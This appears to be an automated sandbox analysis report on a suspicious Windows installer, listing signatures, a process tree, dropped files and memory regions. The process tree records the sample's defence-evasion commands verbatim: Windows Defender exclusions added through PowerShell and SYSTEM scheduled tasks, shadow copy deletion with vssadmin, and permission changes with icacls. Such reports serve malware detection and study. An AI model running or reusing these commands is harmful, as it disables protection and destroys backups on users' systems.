Analysis

  • max time kernel
    165s
  • max time network
    167s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 16:08

General

  • Target
    install_v3.0.02.exe
  • Size 31.6MB
  • Sample260822-tk8elswekf
  • SHA256 192b9aa8c6be0d2585a8a4360e6c8f6b0042e60156be7bb48f1a60c56bb9b9de
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_v3.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install_v3.0.02.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2576
  • C:\Users\Public\dFXGVM\MFnNjy.exe
    "C:\Users\Public\dFXGVM\MFnNjy.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2292
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dFXGVM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dFXGVM\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4132
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:436
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5356
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4156
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4576
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1060
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3668
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3000
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4260
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1296
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:6100
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2276
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5708
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1988
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4064
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3800
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5584
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:624
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5464
                        • C:\Program Files (x86)\f8TG8E\BwVFxA.exe
                          "C:\Program Files (x86)\f8TG8E\BwVFxA.exe"
                          2⤵
                            PID:1136
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c icacls "C:\Program Files (x86)\f8TG8E" /inheritance:r
                              3⤵
                              • Executes a command shell one-liner
                              PID:3580
                              • C:\Windows\SysWOW64\icacls.exe
                                icacls "C:\Program Files (x86)\f8TG8E" /inheritance:r
                                4⤵
                                • Modifies file permissions
                                PID:5456
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c vssadmin delete shadows /all /quiet
                              3⤵
                              • Executes a command shell one-liner
                              PID:3888
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c echo.>c:\xxxx.ini
                              3⤵
                              • Executes a command shell one-liner
                              PID:2352
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c echo.>c:\xxxx.ini
                              3⤵
                              • Executes a command shell one-liner
                              PID:2636
                        • C:\Users\Public\dFXGVM\MFnNjy.exe
                          "C:\Users\Public\dFXGVM\MFnNjy.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4552
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\dFXGVM" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4092
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\dFXGVM" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1636
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1664
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2388
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3768
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4476
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2464
                          • C:\Program Files (x86)\f8TG8E\BwVFxA.exe
                            "C:\Program Files (x86)\f8TG8E\BwVFxA.exe"
                            1⤵
                              PID:5932
                            • C:\Program Files (x86)\I2JiV\6v0V3J828.exe
                              "C:\Program Files (x86)\I2JiV\6v0V3J828.exe"
                              1⤵
                                PID:2172

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    XPSPLOG.dll

                                    • Path C:\Program Files (x86)\I2JiV\XPSPLOG.dll
                                    • Size 3.9MB
                                    • SHA256 b8de7988c86fe2be5f9f2fccfe937c83befb0c7f0ba8f59e295b7fac7d07f5ab
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    XPSPLOG.dll

                                    • Path C:\Program Files (x86)\I2JiV\XPSPLOG.dll
                                    • Size 3.6MB
                                    • SHA256 455327f1c9ab4986fd0303d9a72297d17f5222384f0358258a90b1584e641242
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    image.png

                                    • Path C:\Program Files (x86)\I2JiV\image.png
                                    • Size 1.2MB
                                    • SHA256 3b752a561dcd791b35e65bf7d92addf5296ee2e022073b5689cc9dfbb92545cc
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    BwVFxA.exe

                                    • Path C:\Program Files (x86)\f8TG8E\BwVFxA.exe
                                    • Size 145KB
                                    • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    XPSPLOG.dll

                                    • Path C:\Program Files (x86)\f8TG8E\XPSPLOG.dll
                                    • Size 4.6MB
                                    • SHA256 23a5d8817a69900ec6b7836e2b18d91249896fe4e91e71a37537126b3a294737
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    image.png

                                    • Path C:\Program Files (x86)\f8TG8E\image.png
                                    • Size 5.0MB
                                    • SHA256 25b500f616004f02e2d27e327586af689519566dee1953d43b94abfb38e58632
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    thumbs.db

                                    • Path C:\Program Files (x86)\f8TG8E\thumbs.db
                                    • Size 358KB
                                    • SHA256 19ff69b459bf954efaa94a685dbe415e5edba3e5e641eb894eb998b7e2a1514d
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    destopbak.ini

                                    • Path C:\Users\Public\Music\destopbak.ini
                                    • Size 2B
                                    • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                                    • MD5 SHA1 SHA512

                                    MFnNjy.exe

                                    • Path C:\Users\Public\dFXGVM\MFnNjy.exe
                                    • Size 135KB
                                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    UxEnhance64.dll

                                    • Path C:\Users\Public\dFXGVM\UxEnhance64.dll
                                    • Size 3.1MB
                                    • SHA256 c27daa862d4caba207e9814fdefaed6a46e825a88925e520197574422c596348
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    adoresd.dat

                                    • Path C:\Users\Public\dFXGVM\adoresd.dat
                                    • Size 4.7MB
                                    • SHA256 63b040735b9f9504d8d9d7e98d84282fd0390b4dba441866ee63b86a03bd827b
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    msadox.tb

                                    • Path C:\Users\Public\dFXGVM\msadox.tb
                                    • Size 8KB
                                    • SHA256 7eee4280d70cf02bd1d7ea81bdaed2195a0144a86ebb5d66a679e2055991f05a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/1136-678-0x0000000074990000-0x00000000750DA000-memory.dmp

                                    memory/1136-684-0x0000000001280000-0x0000000001281000-memory.dmp

                                    memory/1136-685-0x0000000003640000-0x0000000003E43000-memory.dmp

                                    memory/1136-718-0x0000000010000000-0x0000000010061000-memory.dmp

                                    memory/1136-730-0x0000000003640000-0x0000000003E43000-memory.dmp

                                    memory/1136-682-0x0000000003640000-0x0000000003E43000-memory.dmp

                                    memory/1136-689-0x0000000003640000-0x0000000003E43000-memory.dmp

                                    memory/1136-677-0x0000000001160000-0x0000000001161000-memory.dmp

                                    memory/1136-708-0x0000000003640000-0x0000000003E43000-memory.dmp

                                    memory/1136-696-0x0000000002C00000-0x0000000002C14000-memory.dmp

                                    memory/2172-744-0x0000000003670000-0x0000000003E73000-memory.dmp

                                    memory/2172-731-0x00000000012E0000-0x00000000012E1000-memory.dmp

                                    memory/2172-732-0x0000000073DD0000-0x000000007451A000-memory.dmp

                                    memory/2292-592-0x0000011EF1390000-0x0000011EF13B2000-memory.dmp

                                    memory/2292-598-0x0000011EF15D0000-0x0000011EF15DA000-memory.dmp

                                    memory/2292-597-0x0000011EF1600000-0x0000011EF16B2000-memory.dmp

                                    memory/2292-596-0x0000011EF15E0000-0x0000011EF15FE000-memory.dmp

                                    memory/2576-0-0x00000000009A0000-0x00000000009AE000-memory.dmp

                                    memory/2576-527-0x00007FFA91E00000-0x00007FFA91E12000-memory.dmp

                                    memory/2576-526-0x00000000009A0000-0x00000000009AE000-memory.dmp

                                    memory/2576-504-0x00007FFA91E00000-0x00007FFA91E12000-memory.dmp

                                    memory/2576-2-0x00000000009B0000-0x00000000009BC000-memory.dmp

                                    memory/2576-1-0x00000000009A0000-0x00000000009AE000-memory.dmp

                                    memory/4388-546-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-548-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-532-0x00007FFA9DD30000-0x00007FFA9DD32000-memory.dmp

                                    memory/4388-533-0x00007FFA7ADA0000-0x00007FFA7B2BE000-memory.dmp

                                    memory/4388-538-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-540-0x00007FFA9DD40000-0x00007FFA9DD42000-memory.dmp

                                    memory/4388-541-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-545-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-547-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-552-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-568-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-567-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-565-0x000002E0F37A0000-0x000002E0F4027000-memory.dmp

                                    memory/4388-561-0x000002E0F40C0000-0x000002E0F414A000-memory.dmp

                                    memory/4388-562-0x000002E0F40C0000-0x000002E0F414A000-memory.dmp

                                    memory/4388-563-0x000002E0F40C0000-0x000002E0F414A000-memory.dmp

                                    memory/4388-559-0x000002E0F40C0000-0x000002E0F414A000-memory.dmp

                                    memory/4388-558-0x000002E0F1600000-0x000002E0F164E000-memory.dmp

                                    memory/4552-578-0x0000015DE0F90000-0x0000015DE1817000-memory.dmp

                                    memory/4552-575-0x00007FFA7ADA0000-0x00007FFA7B2BE000-memory.dmp

                                    memory/4552-581-0x0000015DE0F90000-0x0000015DE1817000-memory.dmp

                                    memory/4552-580-0x00007FFA9DD40000-0x00007FFA9DD42000-memory.dmp

                                    memory/4552-585-0x0000015DE0F90000-0x0000015DE1817000-memory.dmp

                                    memory/4552-586-0x0000015DE0F90000-0x0000015DE1817000-memory.dmp

                                    memory/4552-589-0x00007FFA9DD30000-0x00007FFA9DD32000-memory.dmp

                                    memory/4552-588-0x0000015DE0F90000-0x0000015DE1817000-memory.dmp

                                    memory/4552-587-0x0000015DE0F90000-0x0000015DE1817000-memory.dmp

                                    memory/5932-733-0x00000000012C0000-0x00000000012C1000-memory.dmp

                                    memory/5932-734-0x0000000074990000-0x00000000750DA000-memory.dmp

                                    memory/5932-741-0x0000000003C10000-0x0000000004413000-memory.dmp